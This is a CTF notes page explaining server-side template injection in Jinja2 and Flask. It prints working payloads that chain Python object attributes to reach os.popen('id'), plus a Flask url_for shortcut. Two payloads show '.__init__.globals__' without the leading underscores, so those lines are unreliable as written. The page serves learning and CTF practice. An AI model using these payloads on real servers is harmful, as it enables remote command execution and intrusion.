> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/web/server-side-template-injection-ssti.md).

# Server-Side Template Injection (SSTI)

## Lecture <a href="#what-is-server-side-template-injection" id="what-is-server-side-template-injection"></a>

{% embed url="<https://youtu.be/SN6EVIG4c-0>" %}
Server-Side Template Injection Explained - PwnFunction
{% endembed %}

## Summary <a href="#what-is-server-side-template-injection" id="what-is-server-side-template-injection"></a>

If Jinja2 evaluates `{{7*7}}` to 49 or 7777777, then it is vulnerable to SSTI. The naive idea is to inject `{{ import os ; os.system('id') }}`, but import is filtered by Jinja2. Remember that **everything in Python is an object**, hence we can reach the same goal utilizing a chain of gadgets. For example:

```python
{{''.__class__.__base__.__subclasses__()[139].__init__.globals__['sys'].modules['os'].popen('id').read()}}
```

Here `''.__class__.__base__.__subclasses__()[139]` refers to the class `<class 'warnings.catch_warnings'>`. The index 139 may vary on different machines so you need to figure it out. Use the following code to print out a lookup table and look for `<class 'warnings.catch_warnings'>`:

```python
for index, item in enumerate(''.__class__.__base__.__subclasses__()):
    print(index, item)
```

We choose this class since it imports `sys`. This fact can be verified by viewing [CPython source code](https://github.com/python/cpython/blob/main/Lib/warnings.py):

![warnings.py](/files/UnKBiNd43YlkOcyVXcfA)

For me, the index is 139, therefore the final payload is:

```python
{{
    ''.__class__
    .__base__
    .__subclasses__()[139]
    .__init__
    .globals__['sys']
    .modules['os']
    .popen('id')
    .read()
}}
```

For Flask, there is a shortcut. Check out the source code of `flask.url_for()`:

![flask.url\_for()](/files/rJujUFW7eWhzY9GOKj6z)

Note that this file imports `os`, hence the payload is:

```python
{{
    url_for
    .__globals__
    .os
    .popen('id')
    .read()
}}
```

{% hint style="danger" %}
**Takeaway:** Never do `eval(code + input)`.
{% endhint %}
